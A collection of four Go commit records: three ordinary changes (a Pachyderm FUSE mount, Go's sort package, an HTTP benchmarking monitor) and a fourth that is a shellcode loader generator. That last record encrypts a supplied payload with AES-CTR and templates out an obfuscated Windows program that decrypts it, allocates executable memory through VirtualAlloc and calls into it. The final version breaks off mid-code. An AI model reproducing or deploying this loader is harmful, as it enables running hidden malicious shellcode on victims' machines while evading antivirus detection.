<commit_before>package fuse

import (
	"bytes"
	"fmt"
	"io"
	"log"
	"os"
	"path/filepath"
	"strings"
	"sync/atomic"

	"bazil.org/fuse"
	"bazil.org/fuse/fs"
	"github.com/pachyderm/pachyderm/src/pfs"
	"github.com/pachyderm/pachyderm/src/pfs/pfsutil"
	"golang.org/x/net/context"
)

func Mount(apiClient pfs.ApiClient, repositoryName string, commitID string, mountPoint string) error {
	if err := os.MkdirAll(mountPoint, 0777); err != nil {
		return err
	}
	conn, err := fuse.Mount(
		mountPoint,
		fuse.FSName("pfs://"+repositoryName),
		fuse.Subtype("pfs"),
		fuse.VolumeName("pfs://"+repositoryName),
	)
	if err != nil {
		return err
	}
	defer conn.Close()
	if err := fs.Serve(conn, &filesystem{apiClient, repositoryName, commitID}); err != nil {
		return err
	}

	// check if the mount process has an error to report
	<-conn.Ready
	return conn.MountError
}

type filesystem struct {
	apiClient      pfs.ApiClient
	repositoryName string
	commitID       string
}

func (f *filesystem) Root() (fs.Node, error) {
	return &directory{f, "/"}, nil
}

type directory struct {
	fs   *filesystem
	path string
}

func (*directory) Attr(ctx context.Context, a *fuse.Attr) error {
	log.Print("directory.Attr")
	a.Inode = 1
	a.Mode = os.ModeDir | 0555
	return nil
}

func nodeFromFileInfo(fs *filesystem, fileInfo *pfs.FileInfo) (fs.Node, error) {
	if fileInfo == nil {
		return nil, fuse.ENOENT
	}
	switch fileInfo.FileType {
	case pfs.FileType_FILE_TYPE_NONE:
		log.Print("FileType_FILE_TYPE_NONE")
		return nil, fuse.ENOENT
	case pfs.FileType_FILE_TYPE_OTHER:
		log.Print("FileType_FILE_TYPE_OTHER")
		return nil, fuse.ENOENT
	case pfs.FileType_FILE_TYPE_REGULAR:
		return &file{fs, fileInfo.Path.Path, 0, fileInfo.SizeBytes, nil}, nil
	case pfs.FileType_FILE_TYPE_DIR:
		return &directory{fs, fileInfo.Path.Path}, nil
	default:
		return nil, fmt.Errorf("Unrecognized FileType.")
	}
}

func (d *directory) Lookup(ctx context.Context, name string) (fs.Node, error) {
	log.Print("directory.Lookup")
	response, err := pfsutil.GetFileInfo(
		d.fs.apiClient,
		d.fs.repositoryName,
		d.fs.commitID,
		filepath.Join(d.path, name),
	)
	if err != nil {
		log.Print(err)
		return nil, err
	}
	return nodeFromFileInfo(d.fs, response.GetFileInfo())
}

func (d *directory) ReadDirAll(ctx context.Context) ([]fuse.Dirent, error) {
	log.Print("directory.ReadDirAll")
	response, err := pfsutil.ListFiles(d.fs.apiClient, d.fs.repositoryName, d.fs.commitID, d.path, 0, 1)
	if err != nil {
		log.Print(err)
		return nil, err
	}
	var result []fuse.Dirent
	for _, fileInfo := range response.GetFileInfo() {
		shortPath := strings.TrimPrefix(fileInfo.Path.Path, d.path)
		switch fileInfo.FileType {
		case pfs.FileType_FILE_TYPE_NONE:
			continue
		case pfs.FileType_FILE_TYPE_OTHER:
			continue
		case pfs.FileType_FILE_TYPE_REGULAR:
			result = append(result, fuse.Dirent{Inode: 2, Name: shortPath, Type: fuse.DT_File})
		case pfs.FileType_FILE_TYPE_DIR:
			result = append(result, fuse.Dirent{Inode: 2, Name: shortPath, Type: fuse.DT_Dir})
		default:
			continue
		}
	}
	log.Print(result)
	return result, nil
}

type file struct {
	fs      *filesystem
	path    string
	handles int32
	size    uint64
	reader  io.Reader
}

func (f *file) Attr(ctx context.Context, a *fuse.Attr) error {
	log.Printf("Attr: %#v", f)
	a.Inode = 2
	a.Mode = 0666
	a.Size = f.size
	return nil
}

func (f *file) Read(ctx context.Context, request *fuse.ReadRequest, response *fuse.ReadResponse) error {
	log.Printf("Read: %#v", request)
	if f.reader == nil {
		reader, err := pfsutil.GetFile(f.fs.apiClient, f.fs.repositoryName, f.fs.commitID, f.path)
		if err != nil {
			return err
		}
		f.reader = reader
	}
	response.Data = make([]byte, request.Size)
	if _, err := f.reader.Read(response.Data); err != nil {
		return err
	}
	return nil
}

func (f *file) Open(ctx context.Context, request *fuse.OpenRequest, response *fuse.OpenResponse) (fs.Handle, error) {
	log.Printf("Open: %#v", f)
	atomic.AddInt32(&f.handles, 1)
	return f, nil
}

func (f *file) Write(ctx context.Context, request *fuse.WriteRequest, response *fuse.WriteResponse) error {
	log.Printf("Write: %#v", f)
	written, err := pfsutil.PutFile(f.fs.apiClient, f.fs.repositoryName, f.fs.commitID, f.path, bytes.NewReader(request.Data))
	if err != nil {
		return err
	}
	response.Size = written
	return nil
}
<commit_msg>Remove inodes for now.<commit_after>package fuse

import (
	"bytes"
	"fmt"
	"io"
	"log"
	"os"
	"path/filepath"
	"strings"
	"sync/atomic"

	"bazil.org/fuse"
	"bazil.org/fuse/fs"
	"github.com/pachyderm/pachyderm/src/pfs"
	"github.com/pachyderm/pachyderm/src/pfs/pfsutil"
	"golang.org/x/net/context"
)

func Mount(apiClient pfs.ApiClient, repositoryName string, commitID string, mountPoint string) error {
	if err := os.MkdirAll(mountPoint, 0777); err != nil {
		return err
	}
	conn, err := fuse.Mount(
		mountPoint,
		fuse.FSName("pfs://"+repositoryName),
		fuse.Subtype("pfs"),
		fuse.VolumeName("pfs://"+repositoryName),
	)
	if err != nil {
		return err
	}
	defer conn.Close()
	if err := fs.Serve(conn, &filesystem{apiClient, repositoryName, commitID}); err != nil {
		return err
	}

	// check if the mount process has an error to report
	<-conn.Ready
	return conn.MountError
}

type filesystem struct {
	apiClient      pfs.ApiClient
	repositoryName string
	commitID       string
}

func (f *filesystem) Root() (fs.Node, error) {
	return &directory{f, "/"}, nil
}

type directory struct {
	fs   *filesystem
	path string
}

func (*directory) Attr(ctx context.Context, a *fuse.Attr) error {
	log.Print("directory.Attr")
	a.Mode = os.ModeDir | 0555
	return nil
}

func nodeFromFileInfo(fs *filesystem, fileInfo *pfs.FileInfo) (fs.Node, error) {
	if fileInfo == nil {
		return nil, fuse.ENOENT
	}
	switch fileInfo.FileType {
	case pfs.FileType_FILE_TYPE_NONE:
		log.Print("FileType_FILE_TYPE_NONE")
		return nil, fuse.ENOENT
	case pfs.FileType_FILE_TYPE_OTHER:
		log.Print("FileType_FILE_TYPE_OTHER")
		return nil, fuse.ENOENT
	case pfs.FileType_FILE_TYPE_REGULAR:
		return &file{fs, fileInfo.Path.Path, 0, fileInfo.SizeBytes, nil}, nil
	case pfs.FileType_FILE_TYPE_DIR:
		return &directory{fs, fileInfo.Path.Path}, nil
	default:
		return nil, fmt.Errorf("Unrecognized FileType.")
	}
}

func (d *directory) Lookup(ctx context.Context, name string) (fs.Node, error) {
	log.Print("directory.Lookup")
	response, err := pfsutil.GetFileInfo(
		d.fs.apiClient,
		d.fs.repositoryName,
		d.fs.commitID,
		filepath.Join(d.path, name),
	)
	if err != nil {
		log.Print(err)
		return nil, err
	}
	return nodeFromFileInfo(d.fs, response.GetFileInfo())
}

func (d *directory) ReadDirAll(ctx context.Context) ([]fuse.Dirent, error) {
	log.Print("directory.ReadDirAll")
	response, err := pfsutil.ListFiles(d.fs.apiClient, d.fs.repositoryName, d.fs.commitID, d.path, 0, 1)
	if err != nil {
		log.Print(err)
		return nil, err
	}
	var result []fuse.Dirent
	for _, fileInfo := range response.GetFileInfo() {
		shortPath := strings.TrimPrefix(fileInfo.Path.Path, d.path)
		switch fileInfo.FileType {
		case pfs.FileType_FILE_TYPE_NONE:
			continue
		case pfs.FileType_FILE_TYPE_OTHER:
			continue
		case pfs.FileType_FILE_TYPE_REGULAR:
			result = append(result, fuse.Dirent{Name: shortPath, Type: fuse.DT_File})
		case pfs.FileType_FILE_TYPE_DIR:
			result = append(result, fuse.Dirent{Name: shortPath, Type: fuse.DT_Dir})
		default:
			continue
		}
	}
	log.Print(result)
	return result, nil
}

type file struct {
	fs      *filesystem
	path    string
	handles int32
	size    uint64
	reader  io.Reader
}

func (f *file) Attr(ctx context.Context, a *fuse.Attr) error {
	log.Printf("Attr: %#v", f)
	a.Mode = 0666
	a.Size = f.size
	return nil
}

func (f *file) Read(ctx context.Context, request *fuse.ReadRequest, response *fuse.ReadResponse) error {
	log.Printf("Read: %#v", request)
	if f.reader == nil {
		reader, err := pfsutil.GetFile(f.fs.apiClient, f.fs.repositoryName, f.fs.commitID, f.path)
		if err != nil {
			return err
		}
		f.reader = reader
	}
	response.Data = make([]byte, request.Size)
	if _, err := f.reader.Read(response.Data); err != nil {
		return err
	}
	return nil
}

func (f *file) Open(ctx context.Context, request *fuse.OpenRequest, response *fuse.OpenResponse) (fs.Handle, error) {
	log.Printf("Open: %#v", f)
	atomic.AddInt32(&f.handles, 1)
	return f, nil
}

func (f *file) Write(ctx context.Context, request *fuse.WriteRequest, response *fuse.WriteResponse) error {
	log.Printf("Write: %#v", f)
	written, err := pfsutil.PutFile(f.fs.apiClient, f.fs.repositoryName, f.fs.commitID, f.path, bytes.NewReader(request.Data))
	if err != nil {
		return err
	}
	response.Size = written
	return nil
}
<|endoftext|>


<commit_before>// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// Package sort provides primitives for sorting slices and user-defined
// collections.
package sort

import "math"

// A type, typically a collection, that satisfies sort.Interface can be
// sorted by the routines in this package.  The methods require that the
// elements of the collection be enumerated by an integer index.
type Interface interface {
	// Len is the number of elements in the collection.
	Len() int
	// Less returns whether the element with index i should sort
	// before the element with index j.
	Less(i, j int) bool
	// Swap swaps the elements with indexes i and j.
	Swap(i, j int)
}

func min(a, b int) int {
	if a < b {
		return a
	}
	return b
}

// Insertion sort
func insertionSort(data Interface, a, b int) {
	for i := a + 1; i < b; i++ {
		for j := i; j > a && data.Less(j, j-1); j-- {
			data.Swap(j, j-1)
		}
	}
}

// siftDown implements the heap property on data[lo, hi).
// first is an offset into the array where the root of the heap lies.
func siftDown(data Interface, lo, hi, first int) {
	root := lo
	for {
		child := 2*root + 1
		if child >= hi {
			break
		}
		if child+1 < hi && data.Less(first+child, first+child+1) {
			child++
		}
		if !data.Less(first+root, first+child) {
			return
		}
		data.Swap(first+root, first+child)
		root = child
	}
}

func heapSort(data Interface, a, b int) {
	first := a
	lo := 0
	hi := b - a

	// Build heap with greatest element at top.
	for i := (hi - 1) / 2; i >= 0; i-- {
		siftDown(data, i, hi, first)
	}

	// Pop elements, largest first, into end of data.
	for i := hi - 1; i >= 0; i-- {
		data.Swap(first, first+i)
		siftDown(data, lo, i, first)
	}
}

// Quicksort, following Bentley and McIlroy,
// ``Engineering a Sort Function,'' SP&E November 1993.

// medianOfThree moves the median of the three values data[a], data[b], data[c] into data[a].
func medianOfThree(data Interface, a, b, c int) {
	m0 := b
	m1 := a
	m2 := c
	// bubble sort on 3 elements
	if data.Less(m1, m0) {
		data.Swap(m1, m0)
	}
	if data.Less(m2, m1) {
		data.Swap(m2, m1)
	}
	if data.Less(m1, m0) {
		data.Swap(m1, m0)
	}
	// now data[m0] <= data[m1] <= data[m2]
}

func swapRange(data Interface, a, b, n int) {
	for i := 0; i < n; i++ {
		data.Swap(a+i, b+i)
	}
}

func doPivot(data Interface, lo, hi int) (midlo, midhi int) {
	m := lo + (hi-lo)/2 // Written like this to avoid integer overflow.
	if hi-lo > 40 {
		// Tukey's ``Ninther,'' median of three medians of three.
		s := (hi - lo) / 8
		medianOfThree(data, lo, lo+s, lo+2*s)
		medianOfThree(data, m, m-s, m+s)
		medianOfThree(data, hi-1, hi-1-s, hi-1-2*s)
	}
	medianOfThree(data, lo, m, hi-1)

	// Invariants are:
	//	data[lo] = pivot (set up by ChoosePivot)
	//	data[lo <= i < a] = pivot
	//	data[a <= i < b] < pivot
	//	data[b <= i < c] is unexamined
	//	data[c <= i < d] > pivot
	//	data[d <= i < hi] = pivot
	//
	// Once b meets c, can swap the "= pivot" sections
	// into the middle of the slice.
	pivot := lo
	a, b, c, d := lo+1, lo+1, hi, hi
	for b < c {
		if data.Less(b, pivot) { // data[b] < pivot
			b++
			continue
		}
		if !data.Less(pivot, b) { // data[b] = pivot
			data.Swap(a, b)
			a++
			b++
			continue
		}
		if data.Less(pivot, c-1) { // data[c-1] > pivot
			c--
			continue
		}
		if !data.Less(c-1, pivot) { // data[c-1] = pivot
			data.Swap(c-1, d-1)
			c--
			d--
			continue
		}
		// data[b] > pivot; data[c-1] < pivot
		data.Swap(b, c-1)
		b++
		c--
	}

	n := min(b-a, a-lo)
	swapRange(data, lo, b-n, n)

	n = min(hi-d, d-c)
	swapRange(data, c, hi-n, n)

	return lo + b - a, hi - (d - c)
}

func quickSort(data Interface, a, b, maxDepth int) {
	for b-a > 7 {
		if maxDepth == 0 {
			heapSort(data, a, b)
			return
		}
		maxDepth--
		mlo, mhi := doPivot(data, a, b)
		// Avoiding recursion on the larger subproblem guarantees
		// a stack depth of at most lg(b-a).
		if mlo-a < b-mhi {
			quickSort(data, a, mlo, maxDepth)
			a = mhi // i.e., quickSort(data, mhi, b)
		} else {
			quickSort(data, mhi, b, maxDepth)
			b = mlo // i.e., quickSort(data, a, mlo)
		}
	}
	if b-a > 1 {
		insertionSort(data, a, b)
	}
}

func Sort(data Interface) {
	// Switch to heapsort if depth of 2*ceil(lg(n)) is reached.
	n := data.Len()
	maxDepth := 0
	for 1<<uint(maxDepth) < n {
		maxDepth++
	}
	maxDepth *= 2
	quickSort(data, 0, data.Len(), maxDepth)
}

func IsSorted(data Interface) bool {
	n := data.Len()
	for i := n - 1; i > 0; i-- {
		if data.Less(i, i-1) {
			return false
		}
	}
	return true
}

// Convenience types for common cases

// IntSlice attaches the methods of Interface to []int, sorting in increasing order.
type IntSlice []int

func (p IntSlice) Len() int           { return len(p) }
func (p IntSlice) Less(i, j int) bool { return p[i] < p[j] }
func (p IntSlice) Swap(i, j int)      { p[i], p[j] = p[j], p[i] }

// Sort is a convenience method.
func (p IntSlice) Sort() { Sort(p) }

// Float64Slice attaches the methods of Interface to []float64, sorting in increasing order.
type Float64Slice []float64

func (p Float64Slice) Len() int           { return len(p) }
func (p Float64Slice) Less(i, j int) bool { return p[i] < p[j] || math.IsNaN(p[i]) && !math.IsNaN(p[j]) }
func (p Float64Slice) Swap(i, j int)      { p[i], p[j] = p[j], p[i] }

// Sort is a convenience method.
func (p Float64Slice) Sort() { Sort(p) }

// StringSlice attaches the methods of Interface to []string, sorting in increasing order.
type StringSlice []string

func (p StringSlice) Len() int           { return len(p) }
func (p StringSlice) Less(i, j int) bool { return p[i] < p[j] }
func (p StringSlice) Swap(i, j int)      { p[i], p[j] = p[j], p[i] }

// Sort is a convenience method.
func (p StringSlice) Sort() { Sort(p) }

// Convenience wrappers for common cases

// Ints sorts a slice of ints in increasing order.
func Ints(a []int) { Sort(IntSlice(a)) }

// Float64s sorts a slice of float64s in increasing order.
func Float64s(a []float64) { Sort(Float64Slice(a)) }

// Strings sorts a slice of strings in increasing order.
func Strings(a []string) { Sort(StringSlice(a)) }

// IntsAreSorted tests whether a slice of ints is sorted in increasing order.
func IntsAreSorted(a []int) bool { return IsSorted(IntSlice(a)) }

// Float64sAreSorted tests whether a slice of float64s is sorted in increasing order.
func Float64sAreSorted(a []float64) bool { return IsSorted(Float64Slice(a)) }

// StringsAreSorted tests whether a slice of strings is sorted in increasing order.
func StringsAreSorted(a []string) bool { return IsSorted(StringSlice(a)) }
<commit_msg>sort: eliminate extra Len() call<commit_after>// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// Package sort provides primitives for sorting slices and user-defined
// collections.
package sort

import "math"

// A type, typically a collection, that satisfies sort.Interface can be
// sorted by the routines in this package.  The methods require that the
// elements of the collection be enumerated by an integer index.
type Interface interface {
	// Len is the number of elements in the collection.
	Len() int
	// Less returns whether the element with index i should sort
	// before the element with index j.
	Less(i, j int) bool
	// Swap swaps the elements with indexes i and j.
	Swap(i, j int)
}

func min(a, b int) int {
	if a < b {
		return a
	}
	return b
}

// Insertion sort
func insertionSort(data Interface, a, b int) {
	for i := a + 1; i < b; i++ {
		for j := i; j > a && data.Less(j, j-1); j-- {
			data.Swap(j, j-1)
		}
	}
}

// siftDown implements the heap property on data[lo, hi).
// first is an offset into the array where the root of the heap lies.
func siftDown(data Interface, lo, hi, first int) {
	root := lo
	for {
		child := 2*root + 1
		if child >= hi {
			break
		}
		if child+1 < hi && data.Less(first+child, first+child+1) {
			child++
		}
		if !data.Less(first+root, first+child) {
			return
		}
		data.Swap(first+root, first+child)
		root = child
	}
}

func heapSort(data Interface, a, b int) {
	first := a
	lo := 0
	hi := b - a

	// Build heap with greatest element at top.
	for i := (hi - 1) / 2; i >= 0; i-- {
		siftDown(data, i, hi, first)
	}

	// Pop elements, largest first, into end of data.
	for i := hi - 1; i >= 0; i-- {
		data.Swap(first, first+i)
		siftDown(data, lo, i, first)
	}
}

// Quicksort, following Bentley and McIlroy,
// ``Engineering a Sort Function,'' SP&E November 1993.

// medianOfThree moves the median of the three values data[a], data[b], data[c] into data[a].
func medianOfThree(data Interface, a, b, c int) {
	m0 := b
	m1 := a
	m2 := c
	// bubble sort on 3 elements
	if data.Less(m1, m0) {
		data.Swap(m1, m0)
	}
	if data.Less(m2, m1) {
		data.Swap(m2, m1)
	}
	if data.Less(m1, m0) {
		data.Swap(m1, m0)
	}
	// now data[m0] <= data[m1] <= data[m2]
}

func swapRange(data Interface, a, b, n int) {
	for i := 0; i < n; i++ {
		data.Swap(a+i, b+i)
	}
}

func doPivot(data Interface, lo, hi int) (midlo, midhi int) {
	m := lo + (hi-lo)/2 // Written like this to avoid integer overflow.
	if hi-lo > 40 {
		// Tukey's ``Ninther,'' median of three medians of three.
		s := (hi - lo) / 8
		medianOfThree(data, lo, lo+s, lo+2*s)
		medianOfThree(data, m, m-s, m+s)
		medianOfThree(data, hi-1, hi-1-s, hi-1-2*s)
	}
	medianOfThree(data, lo, m, hi-1)

	// Invariants are:
	//	data[lo] = pivot (set up by ChoosePivot)
	//	data[lo <= i < a] = pivot
	//	data[a <= i < b] < pivot
	//	data[b <= i < c] is unexamined
	//	data[c <= i < d] > pivot
	//	data[d <= i < hi] = pivot
	//
	// Once b meets c, can swap the "= pivot" sections
	// into the middle of the slice.
	pivot := lo
	a, b, c, d := lo+1, lo+1, hi, hi
	for b < c {
		if data.Less(b, pivot) { // data[b] < pivot
			b++
			continue
		}
		if !data.Less(pivot, b) { // data[b] = pivot
			data.Swap(a, b)
			a++
			b++
			continue
		}
		if data.Less(pivot, c-1) { // data[c-1] > pivot
			c--
			continue
		}
		if !data.Less(c-1, pivot) { // data[c-1] = pivot
			data.Swap(c-1, d-1)
			c--
			d--
			continue
		}
		// data[b] > pivot; data[c-1] < pivot
		data.Swap(b, c-1)
		b++
		c--
	}

	n := min(b-a, a-lo)
	swapRange(data, lo, b-n, n)

	n = min(hi-d, d-c)
	swapRange(data, c, hi-n, n)

	return lo + b - a, hi - (d - c)
}

func quickSort(data Interface, a, b, maxDepth int) {
	for b-a > 7 {
		if maxDepth == 0 {
			heapSort(data, a, b)
			return
		}
		maxDepth--
		mlo, mhi := doPivot(data, a, b)
		// Avoiding recursion on the larger subproblem guarantees
		// a stack depth of at most lg(b-a).
		if mlo-a < b-mhi {
			quickSort(data, a, mlo, maxDepth)
			a = mhi // i.e., quickSort(data, mhi, b)
		} else {
			quickSort(data, mhi, b, maxDepth)
			b = mlo // i.e., quickSort(data, a, mlo)
		}
	}
	if b-a > 1 {
		insertionSort(data, a, b)
	}
}

func Sort(data Interface) {
	// Switch to heapsort if depth of 2*ceil(lg(n)) is reached.
	n := data.Len()
	maxDepth := 0
	for 1<<uint(maxDepth) < n {
		maxDepth++
	}
	maxDepth *= 2
	quickSort(data, 0, n, maxDepth)
}

func IsSorted(data Interface) bool {
	n := data.Len()
	for i := n - 1; i > 0; i-- {
		if data.Less(i, i-1) {
			return false
		}
	}
	return true
}

// Convenience types for common cases

// IntSlice attaches the methods of Interface to []int, sorting in increasing order.
type IntSlice []int

func (p IntSlice) Len() int           { return len(p) }
func (p IntSlice) Less(i, j int) bool { return p[i] < p[j] }
func (p IntSlice) Swap(i, j int)      { p[i], p[j] = p[j], p[i] }

// Sort is a convenience method.
func (p IntSlice) Sort() { Sort(p) }

// Float64Slice attaches the methods of Interface to []float64, sorting in increasing order.
type Float64Slice []float64

func (p Float64Slice) Len() int           { return len(p) }
func (p Float64Slice) Less(i, j int) bool { return p[i] < p[j] || math.IsNaN(p[i]) && !math.IsNaN(p[j]) }
func (p Float64Slice) Swap(i, j int)      { p[i], p[j] = p[j], p[i] }

// Sort is a convenience method.
func (p Float64Slice) Sort() { Sort(p) }

// StringSlice attaches the methods of Interface to []string, sorting in increasing order.
type StringSlice []string

func (p StringSlice) Len() int           { return len(p) }
func (p StringSlice) Less(i, j int) bool { return p[i] < p[j] }
func (p StringSlice) Swap(i, j int)      { p[i], p[j] = p[j], p[i] }

// Sort is a convenience method.
func (p StringSlice) Sort() { Sort(p) }

// Convenience wrappers for common cases

// Ints sorts a slice of ints in increasing order.
func Ints(a []int) { Sort(IntSlice(a)) }

// Float64s sorts a slice of float64s in increasing order.
func Float64s(a []float64) { Sort(Float64Slice(a)) }

// Strings sorts a slice of strings in increasing order.
func Strings(a []string) { Sort(StringSlice(a)) }

// IntsAreSorted tests whether a slice of ints is sorted in increasing order.
func IntsAreSorted(a []int) bool { return IsSorted(IntSlice(a)) }

// Float64sAreSorted tests whether a slice of float64s is sorted in increasing order.
func Float64sAreSorted(a []float64) bool { return IsSorted(Float64Slice(a)) }

// StringsAreSorted tests whether a slice of strings is sorted in increasing order.
func StringsAreSorted(a []string) bool { return IsSorted(StringSlice(a)) }
<|endoftext|>


<commit_before>package main

import (
	"fmt"
	"os"
	"os/signal"
	"time"
)

type Monitor struct {
	c         *Context
	collector chan *Record
	output    chan *Stats
}

type Stats struct {
	responseTimeData []time.Duration

	totalRequests       int
	totalExecutionTime  time.Duration
	totalResponseTime   time.Duration
	totalReceived       int64
	totalFailedReqeusts int

	errLength    int
	errConnect   int
	errReceive   int
	errException int
	errResponse  int
}

func NewMonitor(context *Context, collector chan *Record) *Monitor {
	return &Monitor{context, collector, make(chan *Stats)}
}

func (m *Monitor) Run() {

	// catch interrupt signal
	userInterrupt := make(chan os.Signal, 1)
	signal.Notify(userInterrupt, os.Interrupt)

	stats := &Stats{}
	stats.responseTimeData = make([]time.Duration, 0, m.c.config.requests)

	var timelimit time.Timer
	if m.c.config.timelimit > 0 {
		timelimit = *time.NewTimer(time.Duration(m.c.config.timelimit) * time.Second)
	}
	defer timelimit.Stop()

	// waiting for all of http workers to start
	m.c.start.Wait()

	fmt.Printf("Benchmarking %s (be patient)\n", m.c.config.host)
	sw := &StopWatch{}
	sw.Start()

loop:
	for {
		select {
		case record := <-m.collector:

			updateStats(stats, record)

			if record.Error != nil && !ContinueOnError {
				break loop
			}

			if stats.totalRequests >= 10 && stats.totalRequests%(m.c.config.requests/10) == 0 {
				fmt.Printf("Completed %d requests\n", stats.totalRequests)
			}

			if stats.totalRequests == m.c.config.requests {
				fmt.Printf("Finished %d requests\n", stats.totalRequests)
				break loop
			}

		case <-timelimit.C:
			break loop
		case <-userInterrupt:
			break loop
		}
	}

	sw.Stop()
	stats.totalExecutionTime = sw.Elapsed

	// shutdown benchmark and all of httpworkers to stop
	close(m.c.stop)
	signal.Stop(userInterrupt)
	m.output <- stats
}

func updateStats(stats *Stats, record *Record) {
	stats.totalRequests++

	if record.Error != nil {
		stats.totalFailedReqeusts++

		switch record.Error.(type) {
		case *ConnectError:
			stats.errConnect++
		case *ExceptionError:
			stats.errException++
		case *LengthError:
			stats.errLength++
		case *ReceiveError:
			stats.errReceive++
		case *ResponseError:
			stats.errResponse++
		default:
			stats.errException++
		}

	} else {
		stats.totalResponseTime += record.responseTime
		stats.totalReceived += record.contentSize
		stats.responseTimeData = append(stats.responseTimeData, record.responseTime)
	}

}
<commit_msg>bugfix: Stop called on uninitialized Timer<commit_after>package main

import (
	"fmt"
	"os"
	"os/signal"
	"time"
)

type Monitor struct {
	c         *Context
	collector chan *Record
	output    chan *Stats
}

type Stats struct {
	responseTimeData []time.Duration

	totalRequests       int
	totalExecutionTime  time.Duration
	totalResponseTime   time.Duration
	totalReceived       int64
	totalFailedReqeusts int

	errLength    int
	errConnect   int
	errReceive   int
	errException int
	errResponse  int
}

func NewMonitor(context *Context, collector chan *Record) *Monitor {
	return &Monitor{context, collector, make(chan *Stats)}
}

func (m *Monitor) Run() {

	// catch interrupt signal
	userInterrupt := make(chan os.Signal, 1)
	signal.Notify(userInterrupt, os.Interrupt)

	stats := &Stats{}
	stats.responseTimeData = make([]time.Duration, 0, m.c.config.requests)

	var timelimiter <-chan time.Time
	if m.c.config.timelimit > 0 {
		t := time.NewTimer(time.Duration(m.c.config.timelimit) * time.Second)
		defer t.Stop()
		timelimiter = t.C
	}

	// waiting for all of http workers to start
	m.c.start.Wait()

	fmt.Printf("Benchmarking %s (be patient)\n", m.c.config.host)
	sw := &StopWatch{}
	sw.Start()

loop:
	for {
		select {
		case record := <-m.collector:

			updateStats(stats, record)

			if record.Error != nil && !ContinueOnError {
				break loop
			}

			if stats.totalRequests >= 10 && stats.totalRequests%(m.c.config.requests/10) == 0 {
				fmt.Printf("Completed %d requests\n", stats.totalRequests)
			}

			if stats.totalRequests == m.c.config.requests {
				fmt.Printf("Finished %d requests\n", stats.totalRequests)
				break loop
			}

		case <-timelimiter:
			break loop
		case <-userInterrupt:
			break loop
		}
	}

	sw.Stop()
	stats.totalExecutionTime = sw.Elapsed

	// shutdown benchmark and all of httpworkers to stop
	close(m.c.stop)
	signal.Stop(userInterrupt)
	m.output <- stats
}

func updateStats(stats *Stats, record *Record) {
	stats.totalRequests++

	if record.Error != nil {
		stats.totalFailedReqeusts++

		switch record.Error.(type) {
		case *ConnectError:
			stats.errConnect++
		case *ExceptionError:
			stats.errException++
		case *LengthError:
			stats.errLength++
		case *ReceiveError:
			stats.errReceive++
		case *ResponseError:
			stats.errResponse++
		default:
			stats.errException++
		}

	} else {
		stats.totalResponseTime += record.responseTime
		stats.totalReceived += record.contentSize
		stats.responseTimeData = append(stats.responseTimeData, record.responseTime)
	}

}
<|endoftext|>


<commit_before>package main

import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"flag"
	"io/ioutil"
	"math/rand"
	"os"
	"text/template"
)

type args struct {
	Key        string
	Ciphertext string
}

func checkAndPanic(err error) {
	if err != nil {
		panic(err)
	}
}

func generateRandomBytes(n int) ([]byte, error) {
	b := make([]byte, n)
	_, err := rand.Read(b)
	if err != nil {
		return nil, err
	}

	return b, nil
}

func encrypt(plaintext []byte) (string, string) {
	key, _ := generateRandomBytes(32)
	block, _ := aes.NewCipher(key)
	ciphertext := make([]byte, len(plaintext))
	stream := cipher.NewCTR(block, key[aes.BlockSize:])
	stream.XORKeyStream(ciphertext, plaintext)

	return base64.StdEncoding.EncodeToString(ciphertext), base64.StdEncoding.EncodeToString(key)
}

func main() {
	body := `
package main

import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"fmt"
	"os"
	"syscall"
	"unsafe"
)

const (
	ImLoXsgyZHyI = 0x1000
	egxsUNd      = 0x2000
	wOgdemlqWBGV = 0x40
)

var (
	WWkBCl = syscall.NewLazyDLL("kernel32.dll")
	vnEYvT = WWkBCl.NewProc("VirtualAlloc")
)

func ueKHhjz(riZzjxfWFmxj uintptr) (uintptr, error) {
	kMojJzioOMRujW, _, dNeEZFofBrnbj := vnEYvT.Call(0, riZzjxfWFmxj, egxsUNd|ImLoXsgyZHyI, wOgdemlqWBGV)
	if kMojJzioOMRujW == 0 {
		return 0, dNeEZFofBrnbj
	}
	return kMojJzioOMRujW, nil
}
func main() {

	ciphertext, _ := base64.StdEncoding.DecodeString("{{.Ciphertext}}")
	key, _ := base64.StdEncoding.DecodeString("{{.Key}}")
	block, _ := aes.NewCipher(key)
	plaintext := make([]byte, len(ciphertext))
	stream := cipher.NewCTR(block, key[aes.BlockSize:])
	stream.XORKeyStream(plaintext, ciphertext)
	// shellcode exec
	kMojJzioOMRujW, dNeEZFofBrnbj := ueKHhjz(uintptr(len(plaintext)))
	if dNeEZFofBrnbj != nil {
		fmt.Println(dNeEZFofBrnbj)
		os.Exit(1)
	}
	ufirXzjJzKNkMJW := (*[890000]byte)(unsafe.Pointer(kMojJzioOMRujW))
	for x, ruhMhpnDGaV := range []byte(plaintext) {
		ufirXzjJzKNkMJW[x] = ruhMhpnDGaV
	}
	syscall.Syscall(kMojJzioOMRujW, 0, 0, 0, 0)
}
`

	file := flag.String("file", "", "file containing your payload")
	flag.Parse()

	tmpl, err := template.New("body").Parse(body)
	checkAndPanic(err)

	data, err := ioutil.ReadFile(*file)
	checkAndPanic(err)

	ciphertext, key := encrypt(data)
	tmpl.Execute(os.Stdout, args{
		Ciphertext: ciphertext,
		Key:        key,
	})
}
<commit_msg>Update main.go<commit_after>package main

import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"flag"
	"io/ioutil"
	"math/rand"
	"os"
	"text/template"
)

type args struct {
	Key        string
	Ciphertext string
}

func checkAndPanic(err error) {
	if err != nil {
		panic(err)
	}
}

func generateRandomBytes(n int) ([]byte, error) {
	b := make([]byte, n)
	_, err := rand.Read(b)
	if err != nil {
		return nil, err
	}

	return b, nil
}

func encrypt(plaintext []byte) (string, string) {
	key, _ := generateRandomBytes(32)
	block, _ := aes.NewCipher(key)
	ciphertext := make([]byte, len(plaintext))
	stream := cipher.NewCTR(block, key[aes.BlockSize:])
	stream.XORKeyStream(ciphertext, plaintext)

	return base64.StdEncoding.EncodeToString(ciphertext), base64.StdEncoding.EncodeToString(key)
}

func main() {
	body := `
package main

import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"os"
	"syscall"
	"unsafe"
)

// Bitmasks.
const (
